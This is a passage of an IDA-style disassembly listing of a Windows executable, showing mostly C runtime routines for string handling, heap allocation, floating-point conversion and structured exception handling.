loc_415AF4: ; CODE XREF: sub_415AC0+27j pop esi pop ebx pop edi xor eax, eax retn ; --------------------------------------------------------------------------- loc_415AFA: ; CODE XREF: sub_415AC0+23j ; sub_415AC0+2Ej mov al, [esi] inc esi cmp al, dh jnz short loc_415AEC lea edi, [esi-1] loc_415B04: ; CODE XREF: sub_415AC0+63j mov ah, [ecx+2] test ah, ah jz short loc_415B33 mov al, [esi] add esi, 2 cmp al, ah jnz short loc_415AD8 mov al, [ecx+3] test al, al jz short loc_415B33 mov ah, [esi-1] add ecx, 2 cmp al, ah jz short loc_415B04 jmp short loc_415AD8 ; --------------------------------------------------------------------------- loc_415B27: ; CODE XREF: sub_415AC0+16j xor eax, eax pop esi pop ebx pop edi mov al, dl jmp loc_417086 ; --------------------------------------------------------------------------- loc_415B33: ; CODE XREF: sub_415AC0+49j ; sub_415AC0+59j lea eax, [edi-1] pop esi pop ebx pop edi retn ; --------------------------------------------------------------------------- loc_415B3A: ; CODE XREF: sub_415AC0+Fj mov eax, edi pop esi pop ebx pop edi retn sub_415AC0 endp ; =============== S U B R O U T I N E ======================================= sub_415B40 proc near ; CODE XREF: sub_40211A+94p ; sub_405A89+7Cp ... arg_0 = dword ptr 4 push esi mov esi, [esp+4+arg_0] push edi or edi, 0FFFFFFFFh mov eax, [esi+0Ch] test al, 40h jz short loc_415B55 or eax, 0FFFFFFFFh jmp short loc_415B8F ; --------------------------------------------------------------------------- loc_415B55: ; CODE XREF: sub_415B40+Ej test al, 83h jz short loc_415B8D push esi call sub_4186E4 push esi mov edi, eax call sub_41867E push dword ptr [esi+10h] call sub_4185CB add esp, 0Ch test eax, eax jge short loc_415B7B or edi, 0FFFFFFFFh jmp short loc_415B8D ; --------------------------------------------------------------------------- loc_415B7B: ; CODE XREF: sub_415B40+34j mov eax, [esi+1Ch] test eax, eax jz short loc_415B8D push eax call sub_415E3D and dword ptr [esi+1Ch], 0 pop ecx loc_415B8D: ; CODE XREF: sub_415B40+17j ; sub_415B40+39j ... mov eax, edi loc_415B8F: ; CODE XREF: sub_415B40+13j and dword ptr [esi+0Ch], 0 pop edi pop esi retn sub_415B40 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_415B96 proc near ; CODE XREF: sub_40211A+8Ep ; sub_40CE55+2A01p arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = byte ptr 10h push ebp mov ebp, esp push esi push edi push [ebp+arg_0] call sub_4187B6 mov esi, eax lea eax, [ebp+arg_8] push eax push [ebp+arg_4] push [ebp+arg_0] call sub_417D4C push [ebp+arg_0] mov edi, eax push esi call sub_418843 add esp, 18h mov eax, edi pop edi pop esi pop ebp retn sub_415B96 endp ; =============== S U B R O U T I N E ======================================= sub_415BC8 proc near ; CODE XREF: sub_415BE8+Ap arg_0 = dword ptr 4 arg_4 = dword ptr 8 arg_8 = dword ptr 0Ch call sub_4189F0 test eax, eax jnz short loc_415BD2 retn ; --------------------------------------------------------------------------- loc_415BD2: ; CODE XREF: sub_415BC8+7j push eax push [esp+4+arg_8] push [esp+8+arg_4] push [esp+0Ch+arg_0] call sub_418880 add esp, 10h retn sub_415BC8 endp ; =============== S U B R O U T I N E ======================================= sub_415BE8 proc near ; CODE XREF: sub_40211A+54p ; sub_405A89+2Ap ... arg_0 = dword ptr 4 arg_4 = dword ptr 8 push 40h push [esp+4+arg_4] push [esp+8+arg_0] call sub_415BC8 add esp, 0Ch retn sub_415BE8 endp ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= sub_415C00 proc near ; CODE XREF: sub_405B23+2BFp ; sub_4099AA+75p ... arg_0 = dword ptr 4 push edi mov edi, [esp+4+arg_0] jmp short loc_415C71 sub_415C00 endp ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= sub_415C10 proc near ; CODE XREF: sub_40211A+32p ; sub_40211A+43p ... arg_0 = dword ptr 4 arg_4 = dword ptr 8 mov ecx, [esp+arg_0] push edi test ecx, 3 jz short loc_415C2C loc_415C1D: ; CODE XREF: sub_415C10+1Aj mov al, [ecx] inc ecx test al, al jz short loc_415C5F test ecx, 3 jnz short loc_415C1D loc_415C2C: ; CODE XREF: sub_415C10+Bj ; sub_415C10+32j ... mov eax, [ecx] mov edx, 7EFEFEFFh add edx, eax xor eax, 0FFFFFFFFh xor eax, edx add ecx, 4 test eax, 81010100h jz short loc_415C2C mov eax, [ecx-4] test al, al jz short loc_415C6E test ah, ah jz short loc_415C69 test eax, 0FF0000h jz short loc_415C64 test eax, 0FF000000h jz short loc_415C5F jmp short loc_415C2C ; --------------------------------------------------------------------------- loc_415C5F: ; CODE XREF: sub_415C10+12j ; sub_415C10+4Bj lea edi, [ecx-1] jmp short loc_415C71 ; --------------------------------------------------------------------------- loc_415C64: ; CODE XREF: sub_415C10+44j lea edi, [ecx-2] jmp short loc_415C71 ; --------------------------------------------------------------------------- loc_415C69: ; CODE XREF: sub_415C10+3Dj lea edi, [ecx-3] jmp short loc_415C71 ; --------------------------------------------------------------------------- loc_415C6E: ; CODE XREF: sub_415C10+39j lea edi, [ecx-4] loc_415C71: ; CODE XREF: sub_415C00+5j ; sub_415C10+52j ... mov ecx, [esp+4+arg_4] test ecx, 3 jz short loc_415C96 loc_415C7D: ; CODE XREF: sub_415C10+7Dj mov dl, [ecx] inc ecx test dl, dl jz short loc_415CE8 mov [edi], dl inc edi test ecx, 3 jnz short loc_415C7D jmp short loc_415C96 ; --------------------------------------------------------------------------- loc_415C91: ; CODE XREF: sub_415C10+9Ej ; sub_415C10+B8j mov [edi], edx add edi, 4 loc_415C96: ; CODE XREF: sub_415C10+6Bj ; sub_415C10+7Fj mov edx, 7EFEFEFFh mov eax, [ecx] add edx, eax xor eax, 0FFFFFFFFh xor eax, edx mov edx, [ecx] add ecx, 4 test eax, 81010100h jz short loc_415C91 test dl, dl jz short loc_415CE8 test dh, dh jz short loc_415CDF test edx, 0FF0000h jz short loc_415CD2 test edx, 0FF000000h jz short loc_415CCA jmp short loc_415C91 ; --------------------------------------------------------------------------- loc_415CCA: ; CODE XREF: sub_415C10+B6j mov [edi], edx mov eax, [esp+4+arg_0] pop edi retn ; --------------------------------------------------------------------------- loc_415CD2: ; CODE XREF: sub_415C10+AEj mov [edi], dx mov eax, [esp+4+arg_0] mov byte ptr [edi+2], 0 pop edi retn ; --------------------------------------------------------------------------- loc_415CDF: ; CODE XREF: sub_415C10+A6j mov [edi], dx mov eax, [esp+4+arg_0] pop edi retn ; --------------------------------------------------------------------------- loc_415CE8: ; CODE XREF: sub_415C10+72j ; sub_415C10+A2j mov [edi], dl mov eax, [esp+4+arg_0] pop edi retn sub_415C10 endp ; =============== S U B R O U T I N E ======================================= sub_415CF0 proc near ; CODE XREF: sub_4021FB+1A7p ; sub_4021FB:loc_4023B5p ... arg_0 = dword ptr 4 mov ecx, [esp+arg_0] test ecx, 3 jz short loc_415D10 loc_415CFC: ; CODE XREF: sub_415CF0+19j mov al, [ecx] inc ecx test al, al jz short loc_415D43 test ecx, 3 jnz short loc_415CFC add eax, 0 loc_415D10: ; CODE XREF: sub_415CF0+Aj ; sub_415CF0+36j ... mov eax, [ecx] mov edx, 7EFEFEFFh add edx, eax xor eax, 0FFFFFFFFh xor eax, edx add ecx, 4 test eax, 81010100h jz short loc_415D10 mov eax, [ecx-4] test al, al jz short loc_415D61 test ah, ah jz short loc_415D57 test eax, 0FF0000h jz short loc_415D4D test eax, 0FF000000h jz short loc_415D43 jmp short loc_415D10 ; --------------------------------------------------------------------------- loc_415D43: ; CODE XREF: sub_415CF0+11j ; sub_415CF0+4Fj lea eax, [ecx-1] mov ecx, [esp+arg_0] sub eax, ecx retn ; --------------------------------------------------------------------------- loc_415D4D: ; CODE XREF: sub_415CF0+48j lea eax, [ecx-2] mov ecx, [esp+arg_0] sub eax, ecx retn ; --------------------------------------------------------------------------- loc_415D57: ; CODE XREF: sub_415CF0+41j lea eax, [ecx-3] mov ecx, [esp+arg_0] sub eax, ecx retn ; --------------------------------------------------------------------------- loc_415D61: ; CODE XREF: sub_415CF0+3Dj lea eax, [ecx-4] mov ecx, [esp+arg_0] sub eax, ecx retn sub_415CF0 endp ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= sub_415D70 proc near ; CODE XREF: sub_4024DC+8p ; sub_402988+8p ... arg_0 = byte ptr 4 push ecx cmp eax, 1000h lea ecx, [esp+4+arg_0] jb short loc_415D90 loc_415D7C: ; CODE XREF: sub_415D70+1Ej sub ecx, 1000h sub eax, 1000h test [ecx], eax cmp eax, 1000h jnb short loc_415D7C loc_415D90: ; CODE XREF: sub_415D70+Aj sub ecx, eax mov eax, esp test [ecx], eax mov esp, ecx mov ecx, [eax] mov eax, [eax+4] push eax retn sub_415D70 endp ; =============== S U B R O U T I N E ======================================= sub_415D9F proc near ; CODE XREF: sub_402FDD+7Ap ; sub_402FDD+8Ap ... arg_0 = dword ptr 4 arg_4 = dword ptr 8 mov eax, [esp+arg_0] mov ecx, eax cmp word ptr [eax], 0 jz short loc_415DB3 loc_415DAB: ; CODE XREF: sub_415D9F+12j inc ecx inc ecx cmp word ptr [ecx], 0 jnz short loc_415DAB loc_415DB3: ; CODE XREF: sub_415D9F+Aj mov edx, [esp+arg_4] push esi loc_415DB8: ; CODE XREF: sub_415D9F+26j mov si, [edx] mov [ecx], si inc ecx inc ecx inc edx inc edx test si, si jnz short loc_415DB8 pop esi retn sub_415D9F endp ; =============== S U B R O U T I N E ======================================= sub_415DC9 proc near ; CODE XREF: sub_403178+220p ; sub_4033CB+C1p ... arg_0 = dword ptr 4 push dword_4694F4 push [esp+4+arg_0] call sub_415DDB pop ecx pop ecx retn sub_415DC9 endp ; =============== S U B R O U T I N E ======================================= sub_415DDB proc near ; CODE XREF: sub_415DC9+Ap ; sub_4167C5+6p arg_0 = dword ptr 4 arg_4 = dword ptr 8 cmp [esp+arg_0], 0FFFFFFE0h ja short loc_415E04 loc_415DE2: ; CODE XREF: sub_415DDB+27j push [esp+arg_0] call sub_415E07 test eax, eax pop ecx jnz short locret_415E06 cmp [esp+arg_4], eax jz short locret_415E06 push [esp+arg_0] call sub_418A68 test eax, eax pop ecx jnz short loc_415DE2 loc_415E04: ; CODE XREF: sub_415DDB+5j xor eax, eax locret_415E06: ; CODE XREF: sub_415DDB+13j ; sub_415DDB+19j retn sub_415DDB endp ; =============== S U B R O U T I N E ======================================= sub_415E07 proc near ; CODE XREF: sub_415DDB+Bp arg_0 = dword ptr 4 push esi mov esi, [esp+4+arg_0] cmp esi, dword_437F8C ja short loc_415E1F push esi call sub_418E53 test eax, eax pop ecx jnz short loc_415E3B loc_415E1F: ; CODE XREF: sub_415E07+Bj test esi, esi jnz short loc_415E26 push 1 pop esi loc_415E26: ; CODE XREF: sub_415E07+1Aj add esi, 0Fh and esi, 0FFFFFFF0h push esi push 0 push dword_46AB00 call dword_42114C ; RtlAllocateHeap loc_415E3B: ; CODE XREF: sub_415E07+16j pop esi retn sub_415E07 endp ; =============== S U B R O U T I N E ======================================= sub_415E3D proc near ; CODE XREF: sub_4033CB+10Ep ; sub_4033CB+116p ... arg_0 = dword ptr 4 push esi mov esi, [esp+4+arg_0] test esi, esi jz short loc_415E6A push esi call sub_418AFD pop ecx test eax, eax push esi jz short loc_415E5C push eax call sub_418B28 pop ecx pop ecx pop esi retn ; --------------------------------------------------------------------------- loc_415E5C: ; CODE XREF: sub_415E3D+13j push 0 push dword_46AB00 call dword_421150 ; RtlFreeHeap loc_415E6A: ; CODE XREF: sub_415E3D+7j pop esi retn sub_415E3D endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame ; int __cdecl sub_415E6C(double) sub_415E6C proc near ; CODE XREF: sub_40465E+38p var_24 = qword ptr -24h var_18 = qword ptr -18h var_8 = qword ptr -8 arg_0 = qword ptr 8 push ebp mov ebp, esp push ecx push ecx push ebx push esi mov esi, 0FFFFh push esi push dword_437D30 call sub_419E26 fld [ebp+arg_0] pop ecx mov ebx, eax mov eax, dword ptr [ebp+arg_0+6] pop ecx push ecx and ax, 7FF0h push ecx cmp ax, 7FF0h fstp [esp+18h+var_18] jnz short loc_415EF2 call sub_419CEE pop ecx test eax, eax pop ecx jle short loc_415ED5 cmp eax, 2 jle short loc_415EC7 cmp eax, 3 jnz short loc_415ED5 fld [ebp+arg_0] push ebx push ecx ; int push ecx fstp qword ptr [esp] push 0Bh ; double call sub_4195FE add esp, 10h jmp short loc_415F37 ; --------------------------------------------------------------------------- loc_415EC7: ; CODE XREF: sub_415E6C+3Fj push esi push ebx call sub_419E26 fld [ebp+arg_0] pop ecx pop ecx jmp short loc_415F37 ; --------------------------------------------------------------------------- loc_415ED5: ; CODE XREF: sub_415E6C+3Aj ; sub_415E6C+44j fld [ebp+arg_0] fadd dbl_421670 push ebx push ecx ; double push ecx fstp qword ptr [esp] fld [ebp+arg_0] push ecx push ecx fstp [esp+24h+var_24] push 0Bh push 8 jmp short loc_415F2F ; --------------------------------------------------------------------------- loc_415EF2: ; CODE XREF: sub_415E6C+2Fj call sub_419CB3 fstp [ebp+var_8] fld [ebp+var_8] fcomp [ebp+arg_0] pop ecx pop ecx fnstsw ax sahf jnz short loc_415F15 loc_415F07: ; CODE XREF: sub_415E6C+ACj push esi push ebx call sub_419E26 fld [ebp+var_8] pop ecx pop ecx jmp short loc_415F37 ; --------------------------------------------------------------------------- loc_415F15: ; CODE XREF: sub_415E6C+99j test bl, 20h jnz short loc_415F07 fld [ebp+var_8] push ebx ; int push ecx push ecx ; double fstp qword ptr [esp] fld [ebp+arg_0] push ecx push ecx ; double fstp [esp+24h+var_24] push 0Bh ; int push 10h ; int loc_415F2F: ; CODE XREF: sub_415E6C+84j call sub_419651 add esp, 1Ch loc_415F37: ; CODE XREF: sub_415E6C+59j ; sub_415E6C+67j ... pop esi pop ebx leave retn sub_415E6C endp ; =============== S U B R O U T I N E ======================================= sub_415F3B proc near ; CODE XREF: sub_4177FA+9p ; sub_419EEF+21p ; DATA XREF: ... call sub_415F53 call sub_419EEF mov dword_469474, eax call sub_419E9F fnclex retn sub_415F3B endp ; [00000001 BYTES: COLLAPSED FUNCTION nullsub_2. PRESS KEYPAD "+" TO EXPAND] ; =============== S U B R O U T I N E ======================================= sub_415F53 proc near ; CODE XREF: sub_415F3Bp mov eax, offset sub_41A2DD mov off_4380AC, offset sub_419F72 mov off_4380A8, eax mov off_4380B0, offset sub_419FD8 mov off_4380B4, offset sub_419F18 mov off_4380B8, offset sub_419FC0 mov off_4380BC, eax retn sub_415F53 endp ; --------------------------------------------------------------------------- align 4 ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_415F8C proc near ; CODE XREF: sub_40465E+1Bp ; sub_40465E+44p ... var_C = qword ptr -0Ch var_4 = word ptr -4 var_2 = word ptr -2 push ebp mov ebp, esp add esp, 0FFFFFFF4h fstcw [ebp+var_2] wait mov ax, [ebp+var_2] or ah, 0Ch mov [ebp+var_4], ax fldcw [ebp+var_4] fistp [ebp+var_C] fldcw [ebp+var_2] mov eax, dword ptr [ebp+var_C] mov edx, dword ptr [ebp+var_C+4] leave retn sub_415F8C endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame ; int __cdecl sub_415FB3(double) sub_415FB3 proc near ; CODE XREF: sub_4046AA+82p var_24 = qword ptr -24h var_18 = qword ptr -18h var_8 = qword ptr -8 arg_0 = qword ptr 8 push ebp mov ebp, esp push ecx push ecx push ebx push esi mov esi, 0FFFFh push esi push dword_437D48 call sub_419E26 fld [ebp+arg_0] pop ecx mov ebx, eax mov eax, dword ptr [ebp+arg_0+6] pop ecx push ecx and ax, 7FF0h push ecx cmp ax, 7FF0h fstp [esp+18h+var_18] jnz short loc_416039 call sub_419CEE pop ecx test eax, eax pop ecx jle short loc_41601C cmp eax, 2 jle short loc_41600E cmp eax, 3 jnz short loc_41601C fld [ebp+arg_0] push ebx push ecx ; int push ecx fstp qword ptr [esp] push 0Ch ; double call sub_4195FE add esp, 10h jmp short loc_41607E ; --------------------------------------------------------------------------- loc_41600E: ; CODE XREF: sub_415FB3+3Fj push esi push ebx call sub_419E26 fld [ebp+arg_0] pop ecx pop ecx jmp short loc_41607E ; --------------------------------------------------------------------------- loc_41601C: ; CODE XREF: sub_415FB3+3Aj ; sub_415FB3+44j fld [ebp+arg_0] fadd dbl_421670 push ebx push ecx ; double push ecx fstp qword ptr [esp] fld [ebp+arg_0] push ecx push ecx fstp [esp+24h+var_24] push 0Ch push 8 jmp short loc_416076 ; --------------------------------------------------------------------------- loc_416039: ; CODE XREF: sub_415FB3+2Fj call sub_419CB3 fstp [ebp+var_8] fld [ebp+var_8] fcomp [ebp+arg_0] pop ecx pop ecx fnstsw ax sahf jnz short loc_41605C loc_41604E: ; CODE XREF: sub_415FB3+ACj push esi push ebx call sub_419E26 fld [ebp+var_8] pop ecx pop ecx jmp short loc_41607E ; --------------------------------------------------------------------------- loc_41605C: ; CODE XREF: sub_415FB3+99j test bl, 20h jnz short loc_41604E fld [ebp+var_8] push ebx ; int push ecx push ecx ; double fstp qword ptr [esp] fld [ebp+arg_0] push ecx push ecx ; double fstp [esp+24h+var_24] push 0Ch ; int push 10h ; int loc_416076: ; CODE XREF: sub_415FB3+84j call sub_419651 add esp, 1Ch loc_41607E: ; CODE XREF: sub_415FB3+59j ; sub_415FB3+67j ... pop esi pop ebx leave retn sub_415FB3 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_416082 proc near ; CODE XREF: sub_41A74E+71p var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch push ebp mov ebp, esp push ecx push ebx push esi push edi mov eax, [ebp+arg_4] add eax, 0Ch mov [ebp+var_4], eax mov ebx, large fs:0 mov eax, [ebx] mov large fs:0, eax mov eax, [ebp+arg_0] mov ebx, [ebp+arg_4] mov esp, [ebx-4] mov ebp, [ebp+var_4] jmp eax sub_416082 endp ; --------------------------------------------------------------------------- pop edi pop esi pop ebx leave retn 8 ; =============== S U B R O U T I N E ======================================= sub_4160B6 proc near ; CODE XREF: sub_41A8FF+199p ; sub_41AAC3+3Ep arg_4 = dword ptr 8 pop eax pop ecx xchg eax, [esp-8+arg_4] jmp eax sub_4160B6 endp ; sp-analysis failed ; =============== S U B R O U T I N E ======================================= sub_4160BD proc near ; CODE XREF: sub_41A8FF+17Fp arg_4 = dword ptr 8 pop eax pop ecx xchg eax, [esp-8+arg_4] jmp eax sub_4160BD endp ; sp-analysis failed ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_4160C4 proc near ; CODE XREF: sub_416276+5Cp ; sub_41A74E:loc_41A77Fp var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch push ebp mov ebp, esp push ecx push ecx push ebx push esi push edi mov eax, large fs:0 mov [ebp+var_8], eax mov [ebp+var_4], offset loc_4160EC push 0 push [ebp+arg_4] push [ebp+var_4] push [ebp+arg_0] call sub_42010C ; RtlUnwind loc_4160EC: ; DATA XREF: sub_4160C4+11o mov eax, [ebp+arg_4] mov eax, [eax+4] and al, 0FDh mov ecx, [ebp+arg_4] mov [ecx+4], eax mov eax, large fs:0 mov ebx, [ebp+var_8] mov [ebx], eax mov large fs:0, ebx pop edi pop esi pop ebx leave retn 8 sub_4160C4 endp ; --------------------------------------------------------------------------- loc_416113: ; CODE XREF: .nsp0:00420268j ; .nsp0:00420285j ... push ebp mov ebp, esp sub esp, 4 push ebx push esi push edi cld mov [ebp-4], eax xor eax, eax push eax push eax push eax push dword ptr [ebp-4] push dword ptr [ebp+14h] push dword ptr [ebp+10h] push dword ptr [ebp+0Ch] push dword ptr [ebp+8] call sub_41A353 add esp, 20h mov [ebp+14h], eax pop edi pop esi pop ebx mov eax, [ebp+14h] mov esp, ebp pop ebp retn ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_416149 proc near ; CODE XREF: sub_41A7C9+73p var_14 = dword ptr -14h var_10 = dword ptr -10h var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h arg_C = dword ptr 14h arg_10 = dword ptr 18h push ebp mov ebp, esp sub esp, 14h mov eax, [ebp+arg_4] and [ebp+var_14], 0 mov ecx, [ebp+arg_0] mov [ebp+var_C], eax mov eax, [ebp+arg_C] mov [ebp+var_10], offset sub_41619D inc eax mov [ebp+var_8], ecx mov [ebp+var_4], eax mov eax, large fs:0 mov [ebp+var_14], eax lea eax, [ebp+var_14] mov large fs:0, eax push [ebp+arg_10] push ecx push [ebp+arg_8] call sub_41AB50 mov ecx, eax mov eax, [ebp+var_14] mov large fs:0, eax mov eax, ecx leave retn sub_416149 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_41619D proc near ; DATA XREF: sub_416149+16o arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h push ebp mov ebp, esp cld mov eax, [ebp+arg_4] push 0 push eax push dword ptr [eax+10h] push dword ptr [eax+8] push 0 push [ebp+arg_8] push dword ptr [eax+0Ch] push [ebp+arg_0] call sub_41A353 add esp, 20h pop ebp retn sub_41619D endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_4161C2 proc near ; CODE XREF: sub_41A595+25p var_34 = dword ptr -34h var_30 = dword ptr -30h var_2C = dword ptr -2Ch var_28 = dword ptr -28h var_24 = dword ptr -24h var_20 = dword ptr -20h var_1C = dword ptr -1Ch var_18 = dword ptr -18h var_14 = dword ptr -14h var_10 = dword ptr -10h var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h arg_10 = dword ptr 18h arg_14 = dword ptr 1Ch arg_18 = dword ptr 20h push ebp mov ebp, esp sub esp, 34h push ebx push esi push edi and [ebp+var_28], 0 mov [ebp+var_24], offset sub_416276 mov eax, [ebp+arg_10] mov [ebp+var_20], eax mov eax, [ebp+arg_4] mov [ebp+var_1C], eax mov eax, [ebp+arg_14] mov [ebp+var_18], eax mov eax, [ebp+arg_18] mov [ebp+var_14], eax and [ebp+var_10], 0 and [ebp+var_C], 0 and [ebp+var_8], 0 and [ebp+var_4], 0 mov [ebp+var_10], offset loc_416248 mov [ebp+var_C], esp mov [ebp+var_8], ebp mov eax, large fs:0 mov [ebp+var_28], eax lea eax, [ebp+var_28] mov large fs:0, eax mov [ebp+var_34], 1 mov eax, [ebp+arg_0] mov [ebp+var_30], eax mov eax, [ebp+arg_8] mov [ebp+var_2C], eax lea eax, [ebp+var_30] push eax mov eax, [ebp+arg_0] push dword ptr [eax] call dword_469514 pop ecx pop ecx and [ebp+var_34], 0 loc_416248: ; DATA XREF: sub_4161C2+3Co cmp [ebp+var_4], 0 jz short loc_416265 mov ebx, large fs:0 mov eax, [ebx] mov ebx, [ebp+var_28] mov [ebx], eax mov large fs:0, ebx jmp short loc_41626E ; --------------------------------------------------------------------------- loc_416265: ; CODE XREF: sub_4161C2+8Aj mov eax, [ebp+var_28] mov large fs:0, eax loc_41626E: ; CODE XREF: sub_4161C2+A1j mov eax, [ebp+var_34] pop edi pop esi pop ebx leave retn sub_4161C2 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_416276 proc near ; DATA XREF: sub_4161C2+Do arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h push ebp mov ebp, esp push ebx push esi push edi cld mov eax, [ebp+arg_0] mov eax, [eax+4] and eax, 66h test eax, eax jz short loc_416299 mov eax, [ebp+arg_4] mov dword ptr [eax+24h], 1 push 1 pop eax jmp short loc_4162E6 ; --------------------------------------------------------------------------- loc_416299: ; CODE XREF: sub_416276+12j push 1 mov eax, [ebp+arg_4] push dword ptr [eax+14h] mov eax, [ebp+arg_4] push dword ptr [eax+10h] mov eax, [ebp+arg_4] push dword ptr [eax+8] push 0 push [ebp+arg_8] mov eax, [ebp+arg_4] push dword ptr [eax+0Ch] push [ebp+arg_0] call sub_41A353 add esp, 20h mov eax, [ebp+arg_4] cmp dword ptr [eax+24h], 0 jnz short loc_4162D7 push [ebp+arg_0] push [ebp+arg_4] call sub_4160C4 loc_4162D7: ; CODE XREF: sub_416276+54j mov ebx, [ebp+arg_4] mov esp, [ebx+1Ch] mov ebp, [ebx+20h] jmp dword ptr [ebx+18h] ; --------------------------------------------------------------------------- push 1 pop eax loc_4162E6: ; CODE XREF: sub_416276+21j pop edi pop esi pop ebx pop ebp retn sub_416276 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_4162EB proc near ; CODE XREF: sub_41A3EE+C6p ; sub_41A595+43p var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h arg_C = dword ptr 14h arg_10 = dword ptr 18h push ebp mov ebp, esp push ecx push ebx push esi cmp [ebp+arg_4], 0 push edi mov edi, [ebp+arg_0] mov esi, [edi+0Ch] mov ebx, [edi+10h] mov eax, esi mov [ebp+arg_0], esi mov [ebp+var_4], eax jl short loc_416342 loc_416309: ; CODE XREF: sub_4162EB+52j cmp esi, 0FFFFFFFFh jnz short loc_416313 call sub_41ABF2 loc_416313: ; CODE XREF: sub_4162EB+21j mov ecx, [ebp+arg_8] dec esi lea eax, [esi+esi*4] cmp [ebx+eax*4+4], ecx lea eax, [ebx+eax*4] jge short loc_416328 cmp ecx, [eax+8] jle short loc_41632D loc_416328: ; CODE XREF: sub_4162EB+36j cmp esi, 0FFFFFFFFh jnz short loc_416339 loc_41632D: ; CODE XREF: sub_4162EB+3Bj mov eax, [ebp+arg_0] dec [ebp+arg_4] mov [ebp+var_4], eax mov [ebp+arg_0], esi loc_416339: ; CODE XREF: sub_4162EB+40j cmp [ebp+arg_4], 0 jge short loc_416309 mov eax, [ebp+var_4] loc_416342: ; CODE XREF: sub_4162EB+1Cj mov ecx, [ebp+arg_C] inc esi mov [ecx], esi mov ecx, [ebp+arg_10] mov [ecx], eax cmp eax, [edi+0Ch] ja short loc_416356 cmp esi, eax jbe short loc_41635B loc_416356: ; CODE XREF: sub_4162EB+65j call sub_41ABF2 loc_41635B: ; CODE XREF: sub_4162EB+69j lea eax, [esi+esi*4] pop edi pop esi lea eax, [ebx+eax*4] pop ebx leave retn sub_4162EB endp ; --------------------------------------------------------------------------- align 4 ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_416368 proc near ; CODE XREF: sub_41CE08+5Ap arg_0 = dword ptr 8 push ebp mov ebp, esp push ebx push esi push edi push ebp push 0 push 0 push offset loc_416380 push [ebp+arg_0] call sub_42010C ; RtlUnwind loc_416380: ; DATA XREF: sub_416368+Bo pop ebp pop edi pop esi pop ebx mov esp, ebp pop ebp retn sub_416368 endp ; =============== S U B R O U T I N E ======================================= sub_416388 proc near ; DATA XREF: sub_4163AA+Ao ; sub_416412+9o arg_0 = dword ptr 4 arg_4 = dword ptr 8 arg_C = dword ptr 10h mov ecx, [esp+arg_0] test dword ptr [ecx+4], 6 mov eax, 1 jz short locret_4163A9 mov eax, [esp+arg_4] mov edx, [esp+arg_C] mov [edx], eax mov eax, 3 locret_4163A9: ; CODE XREF: sub_416388+10j retn sub_416388 endp ; =============== S U B R O U T I N E ======================================= sub_4163AA proc near ; CODE XREF: sub_41A86F+Dp ; sub_41CE08+67p ... var_14 = dword ptr -14h arg_0 = dword ptr 4 arg_4 = dword ptr 8 push ebx push esi push edi mov eax, [esp+0Ch+arg_0] push eax push 0FFFFFFFEh push offset sub_416388 push large dword ptr fs:0 mov large fs:0, esp loc_4163C7: ; CODE XREF: sub_4163AA:loc_416402j mov eax, [esp+1Ch+arg_0] mov ebx, [eax+8] mov esi, [eax+0Ch] cmp esi, 0FFFFFFFFh jz short loc_416404 cmp esi, [esp+1Ch+arg_4] jz short loc_416404 lea esi, [esi+esi*2] mov ecx, [ebx+esi*4] mov [esp+1Ch+var_14], ecx mov [eax+0Ch], ecx cmp dword ptr [ebx+esi*4+4], 0 jnz short loc_416402 push 101h mov eax, [ebx+esi*4+8] call sub_41643E call dword ptr [ebx+esi*4+8] loc_416402: ; CODE XREF: sub_4163AA+44j jmp short loc_4163C7 ; --------------------------------------------------------------------------- loc_416404: ; CODE XREF: sub_4163AA+2Aj ; sub_4163AA+30j pop large dword ptr fs:0 add esp, 0Ch pop edi pop esi pop ebx retn sub_4163AA endp ; =============== S U B R O U T I N E ======================================= sub_416412 proc near ; CODE XREF: sub_41A88F+37p xor eax, eax mov ecx, large fs:0 cmp dword ptr [ecx+4], offset sub_416388 jnz short locret_416434 mov edx, [ecx+0Ch] mov edx, [edx+0Ch] cmp [ecx+8], edx jnz short locret_416434 mov eax, 1 locret_416434: ; CODE XREF: sub_416412+10j ; sub_416412+1Bj retn sub_416412 endp ; =============== S U B R O U T I N E ======================================= sub_416435 proc near ; CODE XREF: sub_41AB50+1Ep ; sub_41AB50+40p push ebx push ecx mov ebx, offset dword_437D4C jmp short loc_416448 sub_416435 endp ; =============== S U B R O U T I N E ======================================= sub_41643E proc near ; CODE XREF: sub_4163AA+4Fp ; sub_41CE08+78p push ebx push ecx mov ebx, offset dword_437D4C mov ecx, [ebp+8] loc_416448: ; CODE XREF: sub_416435+7j mov [ebx+8], ecx mov [ebx+4], eax mov [ebx+0Ch], ebp pop ecx pop ebx retn 4 sub_41643E endp ; --------------------------------------------------------------------------- align 4 ; =============== S U B R O U T I N E ======================================= sub_416458 proc near ; CODE XREF: sub_4046AA+5p ; sub_40484C+5p ... push 0FFFFFFFFh push eax mov eax, 